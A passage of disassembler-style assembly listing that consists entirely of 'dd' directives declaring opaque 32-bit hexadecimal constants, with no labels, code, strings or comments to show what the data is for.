		dd 0F94E295Ch, 3E0633AFh, 0F912334Bh, 0A6925AE2h, 56C3105Bh
		dd 9F16AB48h, 61DABA39h, 41F15624h, 8A7ED268h, 6606E343h
		dd 2301DDAEh, 5F130578h, 126A2A91h, 0EF46EE4h, 0AB41BCh
		dd 912C8BFh, 0FD894719h, 0C9043750h, 0EACCEF75h, 8D42BACh
		dd 25C1AE4Ah, 9342D301h, 0FD3000FCh, 0ED0B805Bh, 700E2C25h
		dd 9059E804h, 0F7D8EE99h, 9F79E9D0h, 0C0077AE5h, 0E63006EEh
		dd 1CD6F602h, 0FD7DCE80h, 0F520ED81h, 2A52665Ah, 606DA20Bh
		dd 7D1F634h, 8865E980h,	8359E5CAh, 0D8E2A005h, 1CF5C61h
		dd 0EBDCE801h, 825AB140h, 92FA850Fh, 39064EF5h,	3460EA88h
		dd 0C7835DEFh, 558DEAA0h, 0E396D797h, 9521FCh, 62685773h
		dd 2C963D10h, 5020A990h, 365ACEECh, 0B53238FAh,	0F75A6397h
		dd 80AE0994h, 4DE950B9h, 0BD189760h, 484B688Fh,	0E500EA75h
		dd 3E283531h, 16261E9h,	8BDDCA83h, 0DB31F7BFh, 60B2817h
		dd 2245685Dh, 81E6592Dh, 0DAEE8319h, 36D3869h, 0FE86B753h
		dd 8BAED1C7h, 0B4C18C54h, 2C7E73DCh, 58B50982h,	0E36732CFh
		dd 14575F20h, 691CFEB0h, 797F9CEAh, 9A776B7Eh, 86D10869h
		dd 32C28181h, 0AE2FDB7Fh, 0B2015E13h, 37D55F4h,	885506Fh
		dd 0D6E95F1Dh, 1370F64Dh, 0CABB5718h, 247F10E8h, 0CB8917h
		dd 5847C0F7h, 0D5822999h, 632AFF80h, 8702193Eh,	0C8E946F7h
		dd 0F3E65FBAh, 8BF60AF2h, 75020995h, 7C9FD83Eh,	6512C9A5h
		dd 64E0E698h, 166281B6h, 34E90160h, 0C6C78102h,	5FCF7C9Ah
		dd 86D50C80h, 0F001DA56h, 0FEF84197h, 1E532Eh, 0A0063356h
		dd 5203450Ah, 6EAC6853h, 14B8B50Dh, 50499D40h, 40449427h
		dd 955EE97Ah, 652D8FE1h, 0B81A2206h, 7A970B18h,	4FF672B5h
		dd 0E23AE8FEh, 0B7B87060h, 625AAB76h, 0F1F9F87Ch, 0AD8C17Eh
		dd 0A6C00442h, 4E7156DFh, 0C2AC0F31h, 6CD10723h, 398E2B0h
		dd 0FA3FE02Eh, 0BF922926h, 0F82DACF2h, 9F02A65Eh, 0FD717515h
		dd 66868E8h, 0B4435A9Eh, 0C996D18Ah, 0CD89A23Bh, 4CF25906h
		dd 44E420EDh, 0D5F60B95h, 0B4BC1243h, 6458214Bh, 3251CCBFh
		dd 7EFB9232h, 0ED104181h, 0E6172F49h, 629CDDEAh, 1D731079h
		dd 4F43FD50h, 1245B306h, 52F8CC8Ch, 3A3433C1h, 60ADF419h
		dd 4B2AA1D4h, 0CC9DAEBh, 8F5EBBE9h, 88F14F86h, 0E3413688h
		dd 4E244030h, 56892335h, 0F7AFF1FAh, 8554FBC7h,	291B9063h
		dd 61943072h, 6A815D61h, 90610EE8h, 298180B9h, 6BF789E9h
		dd 8859DC00h, 5EE30CEDh, 68B8B046h, 0B46AD921h,	0F9C4BBD6h
		dd 0A40AB8AEh, 5AB8F184h, 0BB4EC7A4h, 0B95E7ECh, 71EDFFB9h
		dd 2D59472Dh, 5F1DFF7Bh, 28CB4E2h, 59346731h, 41781C0h
		dd 223CDE2Dh, 0A0439BA4h, 912AF9BAh, 1B7A9D29h,	8409C7F6h
		dd 8B71DD61h, 250B7D27h, 84004777h, 0A2289968h,	5D5413F2h
		dd 10558FFAh, 5A73B165h, 0D419D4D0h, 50C3BF93h,	0FC79890h
		dd 10BAFD28h, 0FD9EE993h, 0FC13906h, 65680E2Eh,	0C5E33B13h
		dd 53115B12h, 292EAAD8h, 0FD4B5E4Ch, 7CE9A0A6h,	771F9280h
		dd 631230D7h, 386AF385h, 0F7076E3Dh, 48B27240h,	6227D833h
		dd 0D5CA24D1h, 1AAEFE2h, 0E04FDFF7h, 0CAB2FB91h, 3C65BF09h
		dd 3BE484DDh, 13C0EECh,	1AA4680Bh, 2BE9271h, 0E9551D10h
		dd 2FA9D432h, 2DF99675h, 2F22E807h, 0F9DC41DDh,	5CB489E7h
		dd 0D68BC2ADh, 64E6C957h, 0BD5B102Ch, 0F589B1A8h, 878B12B9h
		dd 13C0D154h, 0E9104505h, 0BB25473Dh, 78D1625Fh, 2516FA4Ch
		dd 6F55FEF5h, 97E99C93h, 57492256h, 2500147Ch, 0D42841B4h
		dd 5AE4F85Ah, 708F8194h, 7756AFFEh, 0CDF1F93Bh,	710B8B1Ch
		dd 0E7B6695Eh, 123B46F5h, 9752A987h, 0E53063E8h, 6149681Ah
		dd 7E73C02Dh, 0AE03B40Fh, 9887CBC3h, 0BF6A20E9h, 707548A9h
		dd 0EFAAA1E6h, 58A3F66Fh, 2D3150D4h, 0F8AD8A40h, 0CC1B87Fh
		dd 261D840Fh, 0D1B5C647h, 16968057h, 0FCE93966h, 198EA25Eh
		dd 0C740F551h, 2FE975F6h
		dd 489A0EB4h, 300B6CFFh, 0EB6982E7h, 292CB87Ah,	58147379h
		dd 0C730073Fh, 83B2A12Ah, 4FB65E89h, 0AB0B1A04h, 4706FB2h
		dd 5D4AEF35h, 0FE638456h, 0FC617FA1h, 5E096F68h, 4554D101h
		dd 88C8006Fh, 25E95838h, 33FD1809h, 4282D9F4h, 0BED8A822h
		dd 830343B8h, 8E9A420h,	0F62702A7h, 3026764Eh, 6224988Eh
		dd 54C4BF8Ah, 8F2F55B1h, 8BC84E0Eh, 5CD8407Ch, 5B062D04h
		dd 16BB2254h, 47EEC25h,	5F2C39F5h, 81C400FEh, 3E2AC8E1h
		dd 79A8054Fh, 8410219h,	3340FA06h, 0CF4BFED5h, 247F6AB8h
		dd 0B486AE90h, 2899EFFEh, 0B5BC8941h, 9684D27Ah, 7B02B9ABh
		dd 0C1010DEDh, 0EF3007EBh, 89F4EBD1h, 0A4C34F6Dh, 24FDCEA9h
		dd 0F04DAF6Fh, 58C6001Dh, 52B3B05Dh, 0AB8F4BB6h, 0A004498Bh
		dd 0EE074BE9h, 4A7AF2F4h, 0C343FC0Bh, 0A41FCA68h, 4BDE41E4h
		dd 205589F2h, 5C82A461h, 85312CFh, 8703D719h, 48D2F7D1h
		dd 0E70AC308h, 9DC4C55h, 0F2D9E5B1h, 0EB84183Ch, 0FE575D10h
		dd 0EF9E4C51h, 7309B9C0h, 81025301h, 823F1FF1h,	1488FC46h
		dd 0FF249240h, 98F7AD9Bh, 9492F101h, 0A0F74986h, 886DF763h
		dd 285B0BFEh, 0BE855AF0h, 0B7C98C65h, 0E7806D0Bh, 0C4584ADh
		dd 18193309h, 9C0693D2h, 0B4D78F0Ch, 11ABBF05h,	0E37130D8h
		dd 780771BFh, 0E92DD329h, 4EF0E2A8h, 0BF969015h, 0BF00EA4Ch
		dd 6E7328AFh, 0BA45EBE9h, 89206559h, 0F0F2BF55h, 0A052E9CEh
		dd 0C5773096h, 5A6DE62Dh, 6596A0DFh, 7566187Ah,	33150E5Bh
		dd 85488925h, 81AC65Eh,	8201F41Ch, 0DC68575Fh, 3120D55Ah
		dd 0E5810676h, 22D34299h, 2967BF02h, 0C0471EE2h, 1D3E7450h
		dd 0C24F19DFh, 4808F3EFh, 0AC2276C0h, 29F0D4A6h, 0FEA0D154h
		dd 84C5589Eh, 0B64EF4BCh, 96F00947h, 10D3D058h,	4EFF47A4h
		dd 0AB4BACE8h, 0D55A5F82h, 0D84EEF4Ch, 1BB71C17h, 36562F7Dh
		dd 173578E9h, 38EBA169h, 0DEC64D69h, 1D520B40h,	0F8461475h
		dd 54A983ABh, 0C79424D6h, 8BF742C0h, 0E268BA30h, 8B9C967Fh
		dd 63483EB4h, 0D197B670h, 0D4075290h, 0F6FD30C7h, 38012DA4h
		dd 131F776h, 74305F8h, 6DEEB45Fh, 1FBC2027h, 3DC8ABC5h
		dd 68D988BAh, 561E3F2Fh, 0E255CB9Bh, 0EB5B57AAh, 0C130F226h
		dd 2D48F805h, 4FC285C5h, 4FF2F87Dh, 0BA2F1268h,	0FEF555A2h
		dd 0EA2F232Dh, 0C88C4139h, 681247B5h, 0B035D75Fh, 0DF2521A8h
		dd 9A28DC9h, 4E845C24h,	824625D5h, 905EB491h, 203BF8E9h
		dd 460C086Dh, 4E67E681h, 9899028h, 0E836FA3Ah, 62CF45Eh
		dd 71696421h, 96DD25B4h, 82A68BCAh, 740009A0h, 7C5E55C7h
		dd 539F4398h, 92312842h, 0B9E29DF7h, 0EBF8977h,	0B753446Dh
		dd 0F4B4C1C3h, 264E912h, 7D4914F5h, 0D6C85D3Ah,	0D58215DAh
		dd 0F35E6D6Ah, 56494EBh, 590585BAh, 64D5C019h, 0BD5F10E4h
		dd 0E02B94B1h, 48E221B9h, 70C85C4Eh, 0B36840CDh, 3B007EEDh
		dd 820FBEC3h, 0BE1F7D83h, 4D11BEEBh, 400B3FE6h,	5CF048Ah
		dd 0C28D549Eh, 936A9814h, 0A032D15Dh, 0E9C20F2h, 0D16BE29Fh
		dd 88FAA5BCh, 4AFC9620h, 3C7615Ch, 173E36D8h, 6FBC0C09h
		dd 0FEF8ECA0h, 2908CCA8h, 38C5355Ch, 0D23E41A0h, 78D67B80h
		dd 880D325h, 0DC289F0Bh, 0E5E92D5Eh, 8E0E307Ch,	0D74BD18h
		dd 18DA445Ch, 0ED7F9C72h, 7A33066Fh, 8EF50152h,	0AB050882h
		dd 2AA3A1B2h, 60F704B4h, 9CEA3944h, 2B3BA02Ch, 40BA4801h
		dd 0BE1E5608h, 101241D7h, 3715D02h, 7B627D73h, 0F6A100D5h
		dd 0F75F0BDAh, 8932209Fh, 6D22AAA3h, 0D2F489E9h, 0CCFB6612h
		dd 0F9D0532h, 0F88C971Dh, 73819028h, 1CC5A48Ah,	0C974F480h
		dd 0B85BAEBh, 0C7F74546h, 0C158D1E2h, 0DD302B58h, 481BD55h
		dd 0BE76DF67h, 43EE8062h, 5D4AEE31h, 0B9D240EEh, 64EC1F0Eh
		dd 750BC9B8h, 8E714B47h, 0DF07EBC5h, 4502F5A9h,	0DAD2B587h
		dd 0D77CCA0Fh, 0D26EA42Fh, 37BFF2D4h, 171794ADh, 2C264FE0h
		dd 921122A6h, 6A48E529h, 0C4893A2h, 6BD3C60Eh, 0A6070CA8h
		dd 8969B947h, 0F4B4009Eh, 4AE8C126h, 0D290103h,	60057E40h
		dd 0EB4154E5h, 0E781AC15h, 87003A3Eh, 0F7D46CEh, 0BDD693F8h
		dd 0B2DC21FEh, 68D3F4C4h, 70544E8h, 8937E973h, 2C6E52EAh
		dd 2C255A9Ah, 0E99570E8h, 4B9B8B3Eh, 0B66FDDE1h, 500D175Dh
		dd 969E8DEDh, 35C68039h, 290060C2h, 72572575h, 30F754AAh
		dd 2D6083D0h, 0C2D8AB8h, 2635FE93h, 0BA520030h,	2C531343h
		dd 5FF905B5h, 68C2FAA8h, 47D422CAh, 0C95A7F54h,	105709D5h
		dd 4BDF7D0Eh, 323A88FEh, 49AC374Fh, 2D20C4A1h, 9FBCD239h
		dd 4DEB3309h, 0C09713D0h, 602BC322h, 3D861E4Bh,	293F38ABh
		dd 0FB51F3CBh, 0FB0B04EFh, 8F0FA902h, 5028F723h, 0F9581308h
		dd 4CBE802Ah, 0A065A050h, 5A162D87h, 6424E049h,	110D3413h
		dd 2D5C4FEh, 0DAD9E908h, 7868C3B1h, 8EBE4ADCh, 8D552612h
		dd 4252B717h, 27E0C3EAh, 0B0433530h, 58F4DE4h, 5BDA8986h
		dd 0AF8D885Dh, 0DCB46D5Ah, 0E60779E6h, 38D892DCh, 0BD703F46h
		dd 54B098E5h, 2E682E03h, 19C8092Dh, 20414B76h, 501380CFh
		dd 0A4017255h, 20451084h, 17FAA86Bh, 8AE3485Bh,	2DD8E1CBh
		dd 3EA92C38h, 64ECF4F8h, 0E85338FAh, 0B021851Bh, 0EC3ADDAFh
		dd 0F1997888h, 748FD52Dh, 0A2147A64h, 0A7AFD3DAh, 0BFE90CD2h
		dd 904B2C61h, 0C02720CDh, 85585BDh, 0A4BA9DD4h,	6A412845h
		dd 7907192Ch, 6F2D9C44h, 0A77767A2h, 3FD8E582h,	0DA62FE7Eh
		dd 860F008Eh, 6E97336Eh, 8F6804F5h, 8920054Bh, 6E69F27Ch
		dd 9E626051h, 0C65459Fh, 0EE172E44h, 0DAC7EB9Fh, 59B6C899h
		dd 92C93C80h, 0ED414AA5h, 7002C29h, 9FA5E48h, 7FFC8FD4h
		dd 3D57B800h, 0C0D30FCh, 72B63300h, 0C8418235h,	3F2D012Ah
		dd 0E9198F5Ch, 0E2FF655Fh, 0EEE7107Fh, 88DDC5B4h, 0EDB3A197h
		dd 0B8A3501Bh, 6D279CE7h, 0D5600BF7h, 0B3CF3360h, 164A6B1Dh
		dd 7E0C62BFh, 45785717h, 5E1DD038h, 0C0BE24AAh,	0E66F1185h
		dd 2DD9094Ch, 0FE811253h, 3F4E02FDh, 22752DE7h,	40FBA810h
		dd 4565F95h, 0B6375068h, 0A6E5FB79h, 7D41BF2Ah,	2A2B7313h
		dd 12E3D360h, 0B8D84D0Eh, 5A402C03h, 77501800h,	12EDC130h
		dd 8464E906h, 40B88E4Bh, 5512DEB1h, 0B1EF0680h,	0AA080448h
		dd 401C9288h, 0EC7288E4h, 9958E224h, 0FDE0400Bh, 44D08AB0h
		dd 0CBDFCCB7h, 7D5CDEF8h, 24ECC525h, 51D01010h,	5BA53BDDh
		dd 1A8F0C82h, 65643456h, 92F70882h, 921D876h, 33A773FBh
		dd 7EA09F5h, 999376Dh, 0B5A4FFAAh, 0ACB3A0C7h, 2D20438h
		dd 3B6866D8h, 0C527DF47h, 0D1A8CCB6h, 4E68DB52h, 54EE9FBAh
		dd 8794E0E9h, 8C830F05h, 4BC16BF0h, 7983E0E7h, 572D0BB7h
		dd 6F8ADC02h, 0F704EDC4h, 3A715714h, 8F06EFC3h,	406673A7h
		dd 0EF425D28h, 0BEC8AA4Ah, 708B26E9h, 25FEA868h, 0D838FA28h
		dd 404F589h, 3DB768BDh,	0B5300AE4h, 0E447C8F9h,	0AAE9E318h
		dd 6BA12AAEh, 34947ABBh, 0CBBF8FC4h, 0D2C1257h,	0D395E2EAh
		dd 0E65F9BCAh, 12A8018Ah, 0E6D1465Ch, 0FFFB953Fh, 32D05D80h
		dd 58637B69h, 0E1821DEh, 8368645Ch, 0FD7DE2B7h,	55270915h
		dd 9083AE98h, 3B8D0F80h, 0B7772352h, 0C070AEFEh, 27C790EEh
		dd 0C14B190Ch, 6E975816h, 182DE9B0h, 5ABA167Dh,	0AC8138B5h
		dd 0DA751D9h, 0C8C2537Eh, 40897959h, 0C379CD68h, 1EC70948h
		dd 16CFDFCBh, 450E8705h, 257B7F09h, 200706ACh, 76B98567h
		dd 2F08A0DFh, 555A5B57h
		dd 0A8E67924h, 0A99AF54Bh, 0C2B56AFDh, 168B55EEh, 11E367Dh
		dd 96645DF7h, 20FB893Eh, 14950ABAh, 0EB0728FAh,	0A2759736h
		dd 0EC68DFBEh, 4B14F214h, 0E199BD37h, 5A026D09h, 1C07317Eh
		dd 9BC55D21h, 89895DEEh, 0E420D181h, 808EB353h,	5B10F338h
		dd 1D846AB8h, 0D7491DE2h, 0D5ADC4CDh, 0E9B14CEAh, 29912C42h
		dd 680AB7BBh, 0CC0C738Dh, 520257D3h, 6E05F118h,	0EF045861h
		dd 0EC21BEB4h, 4AC1795Dh, 555CCC0Bh, 73B201F8h,	848E8FEh
		dd 62D53CEFh, 205EDA57h, 5821C3C6h, 0DB7690EBh,	6585EE4Bh
		dd 1B127FCh, 5BBC3E9Ch,	327968B0h, 0ECE05997h, 0D25BE92Eh
		dd 57E8D416h, 8F39E8B5h, 946FB89Fh, 4F039EA4h, 0EBE26D04h
		dd 0D6298977h, 5615458Ah, 57B000C2h, 90351CBFh,	12F3E48h
		dd 3DCC7FF5h, 0E66CA7E9h, 961CA24Ah, 6B44511Ch,	2DC0319Dh
		dd 4AC31D96h, 41FBFD6Ch, 141CA008h, 7F208FB0h, 0D1E19765h
		dd 0B7163ABDh, 7607EEF8h, 0C678E813h, 0AB9819D8h, 9E6BC90h
		dd 764CA0E0h, 411A393Ah, 6364AC82h, 42403BBFh, 5781EF49h
		dd 14AFD260h, 0C5086605h, 0C079E625h, 7CE8BBC0h, 0B84A5FA5h
		dd 0C5F3C0E5h, 2C456751h, 0BD2E3C1h, 0D3A055BFh, 2656502Dh
		dd 281F374Ch, 0E1BD0705h, 917F272Fh, 1401EF63h,	0AEE9D5EFh
		dd 707B39C1h, 90D58DA5h, 0BDFD9885h, 8900343Ah,	74B22DD6h
		dd 0A4D9F728h, 0C90581F6h, 230D10CCh, 0CE1DC801h, 0A87B73A7h
		dd 0C7B577C8h, 0A9EE1790h, 0A5E90B42h, 0A144FFCAh, 0C8D3DB25h
		dd 8124ADDAh, 1AB27B5Bh, 91E5425Eh, 0C40D33Bh, 0C8BABE17h
		dd 0D55D850Bh, 3C80D728h, 0B12251D2h, 0FC20E896h, 0CBA92BF3h
		dd 0E2EAC92h, 589C4495h, 72BB6FC4h, 412B063h, 7DD41EEEh
		dd 271B101h, 99805A08h,	4EBF79D3h, 0A6B8F7FEh, 0A3755D02h
		dd 0AC71E936h, 97F1F8B8h, 0DA2D7CDCh, 294C2AB3h, 92D200C6h
		dd 0F959E835h, 573F0D0Fh, 687C840Eh, 0A3AC12C3h, 6CDE73C2h
		dd 0DC1F4BFFh, 0BA8094EBh, 0F08606D5h, 1B28052Ah, 91BA23E9h
		dd 2E7EEF84h, 0EA93BBB2h, 8094FFF4h, 694CC9E9h,	0BC93849Fh
		dd 184CAA2h, 13F541E8h,	0F524173Fh, 0AB5695AEh,	0FC3ED2E2h
		dd 7D67854Fh, 7AE5FA1Ch, 2E799CCCh, 47C36A92h, 75270293h
		dd 0ECE8B180h, 310559EBh, 392AE9F3h, 0E43FD889h, 35945FB0h
		dd 938B858Dh, 222DA0FFh, 542B740h, 68CD60F5h, 352295BDh
		dd 4053E3A7h, 0FF4FED09h, 2256C5B2h, 40A25C44h,	4047499Eh
		dd 550E2C7Ah, 13713C68h, 85D7B6AAh, 9B424FE9h, 9A601368h
		dd 88CE74E9h, 0C005C2A9h, 548703E3h, 7EDC28D2h,	0C5F153EEh
		dd 0D5E5F9D2h, 967DD6EDh, 0A5E858EDh, 7B4E44C6h, 0F4799820h
		dd 2DC2BAE3h, 0EF5CCB01h, 0C76EB3C0h, 0DDF7283Dh, 6BD609F1h
		dd 24847DF0h, 396AB99Bh, 23C39EA3h, 10343AC9h, 270C8E07h
		dd 1AFC781Ch, 0FD37250Bh, 0B3B5B3E5h, 6C10B7FCh, 63E44B05h
		dd 0CF103DD3h, 0F58FC76h, 89AD28ACh, 0CA311132h, 2AF1011Ah
		dd 2AEE2D7Dh, 0FEFA943Eh, 0B0FC6417h, 6ED9BB4Bh, 680AFE3Ch
		dd 88836B6Dh, 87078028h, 8A2081EAh, 783C7139h, 920749C1h
		dd 0BE7B0092h, 0B84A177Ch, 32979301h, 0E052E9D2h, 555DC02Ch
		dd 0B0C1BE92h, 7739F329h, 0C1B26B75h, 190BD856h, 3332DF97h
		dd 39571689h, 917FD24Eh, 0A5C98769h, 9DBBD56Ch,	0B65047F2h
		dd 1E04CAD6h, 290B0810h, 61770709h, 2C8B5922h, 0CA302F77h
		dd 0E983386Ah, 0F5F77C40h, 4737CDBAh, 0E52F71D4h, 69C3F052h
		dd 0E8647016h, 0D2794BCh, 59552662h, 0F42D8816h, 96C6800Fh
		dd 1D536A1h, 0BD4EAFF4h, 62779929h, 0FEE944B9h,	1E6C6531h
		dd 25C7C257h, 0E2E67748h, 84B240C9h, 4DC15A95h,	0EA11EE9Dh
		dd 40F10802h, 0F7B852C9h, 9EB25D0Ch, 5A62A828h,	929E3594h
		dd 627EEA67h, 1A35CA82h, 0C2B4C071h, 620418E3h,	0BA1B5E3Bh
		dd 88AE9127h, 9C0FBEA4h, 5F65C93Ch, 68D5B56Ah, 0A0F201CBh
		dd 0BFA028BFh, 8434536Eh, 79FC837Ah, 0B7520B13h, 8C94253h
		dd 8FEE58Bh, 0D526B7DEh, 1AA4F97h, 7F27F8C9h, 44E93B94h
		dd 1D109800h, 0BF0E949h, 0D982269Eh, 41073EB5h,	0FE01ED3Eh
		dd 5F812FC5h, 0E20761F6h, 3D6A874Dh, 2A67D07Fh,	9FE050C3h
		dd 5A0A3D56h, 7DAFAD46h, 0DEEDC30h, 612FE3C5h, 68C138ABh
		dd 9466760Bh, 7D0F3267h, 0B5813789h, 0FE96FF73h, 65C85EC0h
		dd 744D312Dh, 8C51432h,	0C2BCE917h, 5B588673h, 4497C7ECh
		dd 34419598h, 0C55C344Dh, 0ED2651E8h, 8B014C60h, 29B439C4h
		dd 95F32ABFh, 1B18077h,	2542E9C3h, 8A6EFEF7h, 0DBECB73Dh
		dd 0F1CFE88h, 3168A52Ah, 0C71E16D2h, 572782A3h,	0D1316DDh
		dd 31B4E95Bh, 2BEDD91Dh, 0E2AA45C5h, 683CA69Ah,	2DE5E18Fh
		dd 7DF66652h, 0DD46B369h, 0FA731DF8h, 0CC764F29h, 10BBE904h
		dd 1E586A8h, 3B0992BBh,	20B46F13h, 9F307096h, 0FDFA4E76h
		dd 617A9859h, 312A0966h, 4C10A50h, 9F58ADEBh, 0F4BA2B5Bh
		dd 9F44FE4h, 5B6F5257h,	0E93B21FFh, 1F40055Ch, 7B9E3C58h
		dd 0B1D82427h, 57688049h, 5A741E21h, 0D79C4260h, 2F4CFE5Ch
		dd 9A03E5E9h, 6890AD66h, 6BED5E35h, 22F83F2h, 523C2757h
		dd 2E44BAD0h, 0F8025E9h, 697A685Eh, 0DE74E2D8h,	0FCC22580h
		dd 3401A07Eh, 0A5840F36h, 0FC2AF625h, 33958E5Bh, 63D8FE9h
		dd 0C530178Bh, 25E047D7h, 941A6E75h, 0E85F39F8h, 979D8E41h
		dd 411CE4F4h, 0BD9C2F18h, 70F7FC56h, 0B676BD2Bh, 13EBEA65h
		dd 0BDB3F86Eh, 137EDAF1h, 916AE7Dh, 87012FB8h, 8940CD6Ch
		dd 3DB231F8h, 0A7C702CBh, 0D74BDB21h, 0BE244AF9h, 0F74555CBh
		dd 27A45ADh, 0D736E95Ch, 0C16093D5h, 6895CC51h,	0A0144FB8h
		dd 0EAD6D849h, 0FF5A722Eh, 0B650A938h, 0FDBD01AAh, 307A7249h
		dd 0F7920AD7h, 131D2B2Fh, 71E59A7Bh, 1BAD3AE7h,	16D71C8Bh
		dd 70687093h, 0FDD4B55Dh, 19868252h, 27760957h,	251F1002h
		dd 0CC705D72h, 1C050883h, 3A4C120Ch, 435B3681h,	0D2C8946Dh
		dd 6D331228h, 0B39690C5h, 5FFDA406h, 3E88706h, 0E8B74EC0h
		dd 5F76E97Fh, 0FFD39517h, 4CECB6E1h, 98169285h,	0C645A18Ch
		dd 787D48A8h, 2DAC25B9h, 2E64E7A0h, 0AEA3107Eh,	34082AC7h
		dd 2C53BE1Ch, 6EF1E1Fh,	95AB85Fh, 0C0428C25h, 0C7005950h
		dd 81466F3Eh, 7AC138F1h, 22099D90h, 0DB2D85C0h,	2EBF4409h
		dd 0A6700252h, 0BE5D0003h, 4048CEC9h, 4F8910FDh, 0BB15BA02h
		dd 0AD70620h, 0B385CB1h, 7C5F1Bh, 85A1B3A6h, 0EBE92F2Fh
		dd 0E104A652h, 12DE3971h, 8DB99C0h, 4661309Eh, 5B6BC63Ch
		dd 0FE29540Eh, 35F2ECE9h, 7B7A9FEAh, 0C7905F9Fh, 2B012C66h
		dd 0C058C688h, 103003E6h, 0FF335A2Dh, 0B30D33Ch, 50EE9EEh
		dd 9FFA171Ch, 9E263A94h, 0E7C2E82h, 1A62E03Fh, 78E60243h
		dd 1520870Fh, 6F1F0C8h,	8040EB9Eh, 975010C4h, 70DD00A2h
		dd 0BD0B4E7Fh, 7C2313C1h, 0A1F84A9Dh, 36E2CEA8h, 2003BF37h
		dd 0B440C151h, 688FF02Ah, 1846672Dh, 829D339Dh,	801A7ADFh
		dd 0C6DFF0E3h, 125DE8F1h, 58B33820h, 0D8256B66h, 685F9080h
		dd 0F3B7235Eh, 29520258h, 0EB7D4DEFh, 98F3B01Dh, 2C6816FEh
		dd 960EF240h, 1F713DB9h, 0DC599770h, 0A176E7CEh, 76482843h
		dd 0DEF9286Fh, 94315FB8h, 0A2FDFABDh, 383D21F1h, 0CAA2A19Dh
		dd 8FEC5207h, 905EDB77h, 0C3918619h, 80588474h,	3BDEA8F7h
		dd 8B5A0933h, 0C1FE4A31h, 6C8EE92Ah, 0F2582CE9h, 0FEBB73Ah
		dd 0A625E1D2h, 90B28FABh
		dd 0B36CD621h, 0D86496E6h, 1120DFD9h, 0EB5C023Dh, 273FE90Ch
		dd 9609AA73h, 64E97E65h, 2F7AE185h, 7FF681E8h, 0DA4EF790h
		dd 0D34B59A2h, 0F8C05AA4h, 594B3468h, 0B00014B3h, 0C1296027h
		dd 462F08EEh, 31AEF44Eh, 216C02ACh, 0F2812F4Ah,	0F00B334h
		dd 1F54BC8Eh, 0D42517C9h, 33B07FFEh, 30090559h,	8B9B4C37h
		dd 0E5AADD12h, 408C10CBh, 0A89A95F2h, 0EBBB56BFh, 2091D060h
		dd 51289607h, 88EA5568h, 0E0450C0h, 70C0BD06h, 0B2307C87h
		dd 0A0980C21h, 0E9B70C95h, 5A60DB7Bh, 565DDE97h, 7284DE9Dh
		dd 6642FE7Ch, 0E46803C2h, 0F5D8BB95h, 3D530B0Eh, 71915A01h
		dd 254CFB55h, 0E73878E2h, 0E28ADCFEh, 0FA594157h, 0E3BF8D54h
		dd 32088832h, 25202288h, 36234BFh, 0C1404852h, 0D9FA03E0h
		dd 4D5F4EEAh, 877F2596h, 0A3A775Fh, 0BEF4C52Dh,	0D7E928E2h
		dd 596619E8h, 0B2525309h, 69F0DDFCh, 2BF04FDh, 403F72Dh
		dd 2CF85760h, 0C0B75BE8h, 0B68E4FAAh, 31C5884h,	121D1924h
		dd 2C27EE07h, 62CF2922h, 72080C0Dh, 2591F0BBh, 647D8394h
		dd 0B0EB0BBh, 36456930h, 1D9A01A2h, 0F797DCFAh,	558B882h
		dd 0EBB7D057h, 131CB97Bh, 9CC918D8h, 6459F8E3h,	0AC56C13Eh
		dd 3ABBF508h, 0BD18AB0h, 58B4E9E3h, 0C2027ECh, 0BFD0BD02h
		dd 0E8DD872Dh, 0BEF730h, 11E16146h, 0CA76CDBAh,	0BBB11D4Bh
		dd 7C065240h, 9422C91h,	150501A9h, 76200484h, 70B48BA9h
		dd 12D4B578h, 0B09F527h, 0D2F5D1DFh, 6EC67477h,	0EA50E664h
		dd 0FA2E492Dh, 0A5E9A430h, 82CBBC3Fh, 0CEA91BD3h, 115C47E2h
		dd 3EFE243h, 0EC14C623h, 0C014C20h, 44784E6Fh, 1335B1E9h
		dd 0E603B769h, 0A7D5FB3h, 3FC3D2F1h, 0E6972BBDh, 16125C59h
		dd 2EA8272Dh, 0E83A68C4h, 0A10BDE85h, 44B45D73h, 9938420h
		dd 45D4685Bh, 0F75CDF32h, 5432CB4Fh, 0DB54C91Bh, 7B159602h
		dd 802B5864h, 0F35E5107h, 0EAF5AE30h, 0E576B755h, 0B19835Ah
		dd 0E2BBA531h, 13D0E6BDh, 0E2B393E9h, 6FCB5B11h, 3BD8F025h
		dd 0C2CB7E9Dh, 0BB5DC9DCh, 0CE2E20D4h, 0BA88534Ah, 26C30181h
		dd 11E7A3Dh, 5FC31CBh, 3F7B008h, 59505BE2h, 0B584D59Ch
		dd 7DA72BD1h, 0D83E7F2Dh, 75010F6Dh, 0F977E4BDh, 812B3165h
		dd 44B47DDh, 698E37C7h,	0FE8596CAh, 0E9BBA077h,	3D829F7Ah
		dd 0E1F1BD68h, 26BD559Fh, 0F17BA5E6h, 0CC2E0835h, 0B779EDC5h
		dd 1053703Fh, 0F3F0DD5h, 44DCF89Bh, 3A01D0D9h, 5557FB72h
		dd 0E267286h, 7DE12E90h, 3CAE10ACh, 0C86BB86h, 8ABBB94Bh
		dd 1EE90C4Ch, 494BC7F5h, 0E6845746h, 1E4B1F27h,	7B65F23h
		dd 45C23833h, 2915B631h, 0FFDE313h, 120959A0h, 2A7E4D00h
		dd 0B9FD87Fh, 0C2ED0F66h, 0D50D714Ah, 80C77369h, 293C0580h
		dd 0E7015FFEh, 2DC14770h, 51F0DC38h, 89D05B95h,	29F073E9h
		dd 0E040D081h, 0D697A32Ah, 30F15958h, 0B880FAF8h, 0EC290F03h
		dd 0D7A20579h, 5C778613h, 3054BB4h, 0BA26D560h,	0FD12CEA3h
		dd 4CB4EA5Fh, 2FD29693h, 2CA9A4E0h, 0BA7C9401h,	0C08A9DC4h
		dd 30422621h, 1F000957h, 57F1ECEh, 4FA10CC0h, 90F399Bh
		dd 0FEE1BB8Fh, 96455B75h, 56EAC283h, 0B8C2E956h, 92BF1862h
		dd 4FD6573Bh, 0B71DAD05h, 68B128BCh, 0EE84FB69h, 5B38E6h
		dd 6777BDA3h, 609D116Eh, 25E14A4h, 0E8899E94h, 0DE4801E9h
		dd 5173C435h, 8A0E3BE5h, 0DCED7281h, 0BE15E9F0h, 5C5E0D4h
		dd 1FB718A4h, 5DC48E97h, 6BC2390h, 0EE324B05h, 41A1092Ch
		dd 7E53AD55h, 2009DA8Ah, 0E7B44D2Bh, 0C9FD3B5h,	0DB6B3428h
		dd 76F6D24Eh, 39520527h, 43943AEBh, 75DA1FC2h, 0AE92EE98h
